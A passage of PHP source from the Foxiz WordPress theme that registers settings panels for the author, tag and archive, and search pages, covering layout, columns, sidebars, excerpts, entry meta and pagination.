'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the mobile devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0', ), array( 'id' => 'section_end_author_design', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_author_pagination', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Pagination', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'pagination', 'title' => esc_html__( 'Pagination Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select pagination type for the author pages.', 'foxiz' ), 'type' => 'select', 'options' => array( 'number' => esc_html__( 'Numeric', 'foxiz' ), 'simple' => esc_html__( 'Simple', 'foxiz' ), ), 'default' => 'number' ), array( 'id' => 'section_end_author_pagination', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_archive' ) ) { /** * @return array */ function foxiz_register_options_archive() { $prefix = 'archive_'; return array( 'id' => 'foxiz_config_section_archive', 'title' => esc_html__( 'Tags & Archives', 'foxiz' ), 'icon' => 'el el-inbox-box', 'subsection' => true, 'desc' => esc_html__( 'The settings below apply to the tags and other archive pages.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_archive_header', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Archive Header', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'pattern', 'title' => esc_html__( 'Header Background Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background style for the archive header.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_archive_header_bg(), 'default' => 'dot' ), array( 'id' => 'section_end_archive_header', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_archive_template_global', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Global Blog Template Builder', 'foxiz' ), 'subtitle' => esc_html__( 'Ajax pagination is only available for the tag. The theme will fallback to the numeric type for other archive pages.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'template_global', 'title' => esc_html__( 'Global WP Query Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a "Ruby Template" shortcode to display as the main blog posts, ie: [Ruby_E_Template id="1"].', 'foxiz' ), 'type' => 'textarea', 'rows' => '2', 'placeholder' => '[Ruby_E_Template id="1"]', 'default' => '', ), array( 'id' => 'section_end_archive_template_global', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_archive_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'posts_per_page', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'subtitle' => esc_html__( 'Select posts per page for the archives. Leave this option blank to set the default.', 'foxiz' ), 'type' => 'text', 'validate' => 'numeric', 'default' => '' ), array( 'id' => 'section_end_archive_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_archive_blog_layout', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'layout', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select blog listing layout for the archive pages.', 'foxiz' ), 'type' => 'image_select', 'options' => foxiz_config_blog_layout(), 'default' => 'grid_1' ), array( 'id' => $prefix . 'columns', 'title' => esc_html__( 'Columns on Desktop', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_tablet', 'title' => esc_html__( 'Columns on Tablet', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_mobile', 'title' => esc_html__( 'Columns on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns( array( '0', '1', '2' ) ), 'default' => '0' ), array( 'id' => $prefix . 'column_gap', 'title' => esc_html__( 'Columns Gap', 'foxiz' ), 'subtitle' => esc_html__( 'Select a spacing between columns.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_column_gap(), 'default' => '0' ), array( 'id' => 'section_end_archive_blog_layout', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_archive_sidebar', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar position or disable it for the latest blog section', 'foxiz' ), 'options' => foxiz_config_sidebar_position(), 'default' => 'none' ), array( 'id' => $prefix . 'sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a widget section for the sidebar for the latest blog section if it is enabled.', 'foxiz' ), 'options' => foxiz_config_sidebar_name( false ), 'default' => 'foxiz_sidebar_default' ), array( 'id' => $prefix . 'sticky_sidebar', 'type' => 'select', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature. This setting applies to the archive pages.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'section_end_archive_sidebar', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_archive_design', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Design', 'foxiz' ), 'subtitle' => array( esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), esc_html__( 'The theme will use "Standard Blog Design" settings to render block. You can override settings in the panel below.', 'foxiz' ) ), 'indent' => true ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'display_ratio', 'type' => 'text', 'title' => esc_html__( 'Custom Featured Ratio', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom ratio percent (height*100/width) for featured image you would like. For example: 50', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'description' => esc_html__( 'The setting will not apply if the selected blog layout does not support the selected entry category.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_extended_entry_category( true ), 'default' => '0' ), array( 'id' => $prefix . 'entry_meta_bar', 'type' => 'select', 'title' => esc_html__( 'Entry Meta Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'options' => foxiz_config_entry_meta_bar(), 'default' => '0', ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'required' => array( $prefix . 'entry_meta_bar', '=', 'custom' ), 'subtitle' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review( true ), 'default' => '0' ), array( 'id' => $prefix . 'review_meta', 'type' => 'select', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format( true ), 'default' => '0' ), array( 'id' => $prefix . 'bookmark', 'type' => 'select', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt', 'type' => 'select', 'title' => esc_html__( 'Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select settings for the post excerpt.', 'foxiz' ), 'options' => foxiz_config_excerpt_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__( 'When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'type' => 'select', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'title_size', 'title' => esc_html__( 'Desktop - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the desktop device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_tablet', 'title' => esc_html__( 'Tablet - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the table devices. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_mobile', 'title' => esc_html__( 'Mobile - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the mobile device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the mobile devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0', ), array( 'id' => 'section_end_archive_design', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_archive_pagination', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Pagination', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'pagination', 'title' => esc_html__( 'Pagination Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select pagination type for the archive pages.', 'foxiz' ), 'type' => 'select', 'options' => array( 'number' => esc_html__( 'Numeric', 'foxiz' ), 'simple' => esc_html__( 'Simple', 'foxiz' ), ), 'default' => 'number' ), array( 'id' => 'section_end_archive_pagination', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_search' ) ) { /** * @return array */ function foxiz_register_options_search() { $prefix = 'search_'; return array( 'id' => 'foxiz_config_section_search', 'title' => esc_html__( 'Search', 'foxiz' ), 'icon' => 'el el-search', 'desc' => esc_html__( 'The settings below apply to the search page.', 'foxiz' ), 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_search_filter', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Search Filter', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'only_post', 'title' => esc_html__( 'Only Search Posts', 'foxiz' ), 'subtitle' => esc_html__( 'Only display posts in the search results.', 'foxiz' ), 'type' => 'switch', 'default' => true ), array( 'id' => 'section_end_search_filter', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_search_site_header', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Site Header', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'header_style', 'type' => 'select', 'title' => esc_html__( 'Header Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a website header style for the search page.', 'foxiz' ), 'options' => foxiz_config_header_style( true, true ), 'default' => '0' ), array( 'id' => $prefix . 'nav_style', 'type' => 'select', 'title' => esc_html__( 'Navigation Bar Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select navigation bar style for the site header in the search page.', 'foxiz' ), 'description' => esc_html__( 'This setting will override on the setting in the header panel. It will not apply to the header style 4.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Default', 'foxiz' ), 'shadow' => esc_html__( 'Shadow', 'foxiz' ), 'border' => esc_html__( 'Bottom Border', 'foxiz' ), 'd-border' => esc_html__( 'Dark Bottom Border', 'foxiz' ), 'none' => esc_html__( 'None', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'header_template', 'type' => 'textarea', 'title' => esc_html__( 'Header Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a Ruby Template shortcode for displaying as the website header for the search page.', 'foxiz' ), 'description' => esc_html__( 'This setting will override on the "Header Style" setting, Leave it blank if you would like to use the "Header Style" setting.', 'foxiz' ), 'placeholder' => esc_html__( '[Ruby_E_Template id="1"]', 'foxiz' ), 'rows' => 2, 'default' => '' ), array( 'id' => 'section_end_search_site_header', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_search_header', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Search Header', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'header_background', 'type' => 'background', 'transparent' => false, 'title' => esc_html__( 'Header Background', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a background image for the search header.', 'foxiz' ), 'default' => array( 'background-color' => '', 'background-size' => 'cover', 'background-attachment' => 'scroll', 'background-position' => 'center center', 'background-repeat' => 'no-repeat' ) ), array( 'id' => 'dark_' . $prefix . 'header_background', 'type' => 'background', 'transparent' => false, 'title' => esc_html__( 'Dark Mode - Header Background', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a background image for the search header in the dark mode.', 'foxiz' ), 'default' => array( 'background-color' => '', 'background-size' => 'cover', 'background-attachment' => 'scroll', 'background-position' => 'center center', 'background-repeat' => 'no-repeat' ) ), array( 'id' => 'section_end_search_header', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_search_template_global', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Global Blog Template Builder', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'template_global', 'title' => esc_html__( 'Global WP Query Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a "Ruby Template" shortcode to display as the main blog posts, ie: [Ruby_E_Template id="1"].', 'foxiz' ), 'type' => 'textarea', 'rows' => '2', 'placeholder' => '[Ruby_E_Template id="1"]', 'default' => '', ), array( 'id' => 'section_end_search_template_global', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_search_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'posts_per_page', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'subtitle' => esc_html__( 'Select posts per page for the search result listing. Leave this option blank to set the default.', 'foxiz' ), 'type' => 'text', 'validate' => 'numeric', 'default' => '' ), array( 'id' => 'section_end_search_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_search_layout', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'layout', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select blog listing layout for the search result listing.', 'foxiz' ), 'type' => 'image_select', 'options' => foxiz_config_blog_layout(), 'default' => 'grid_small_1' ), array( 'id' => $prefix . 'columns', 'title' => esc_html__( 'Columns on Desktop', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_tablet', 'title' => esc_html__( 'Columns on Tablet', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_mobile', 'title' => esc_html__( 'Columns on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns( array( '0', '1', '2' ) ), 'default' => '0' ), array( 'id' => $prefix . 'column_gap', 'title' => esc_html__( 'Columns Gap', 'foxiz' ), 'subtitle' => esc_html__( 'Select a spacing between columns.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_column_gap(), 'default' => '0' ), array( 'id' => 'section_end_search_layout', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_search_sidebar', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar position or disable it for the search result listing.', 'foxiz' ), 'options' => foxiz_config_sidebar_position(), 'default' => 'none' ), array( 'id' => $prefix . 'sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a widget section for the sidebar for the latest blog section if it is enabled.', 'foxiz' ), 'options' => foxiz_config_sidebar_name( false ), 'default' => 'foxiz_sidebar_default' ), array( 'id' => $prefix . 'sticky_sidebar', 'type' => 'select', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature. This setting applies to the search pages.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'section_end_search_sidebar', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_search_design', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Design', 'foxiz' ), 'subtitle' => array( esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), esc_html__( 'The theme will use "Standard Blog Design" settings to render block. You can override settings in the panel below.', 'foxiz' ) ), 'indent' => true ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'display_ratio', 'type' => 'text', 'title' => esc_html__( 'Custom Featured Ratio', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom ratio percent (height*100/width) for featured image you would like. For example: 50', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'description' => esc_html__( 'The setting will not apply if the selected blog layout does not support the selected entry category.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_extended_entry_category( true ), 'default' => '0' ), array( 'id' => $prefix . 'entry_meta_bar', 'type' => 'select', 'title' => esc_html__( 'Entry Meta Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'options' => foxiz_config_entry_meta_bar(), 'default' => '0', ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'required' => array( $prefix . 'entry_meta_bar', '=', 'custom' ), 'subtitle' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review( true ), 'default' => '0' ), array( 'id' => $prefix . 'review_meta', 'type' => 'select', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format( true ), 'default' => '0' ), array( 'id' => $prefix . 'bookmark', 'type' => 'select', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt', 'type' => 'select', 'title' => esc_html__( 'Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select settings for the post excerpt.', 'foxiz' ), 'options' => foxiz_config_excerpt_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__( 'When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'type' => 'select', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'title_size', 'title' => esc_html__( 'Desktop - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the desktop device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_tablet', 'title' => esc_html__( 'Tablet - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the table devices. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_mobile', 'title' => esc_html__( 'Mobile - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the mobile device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Mobile - Hide 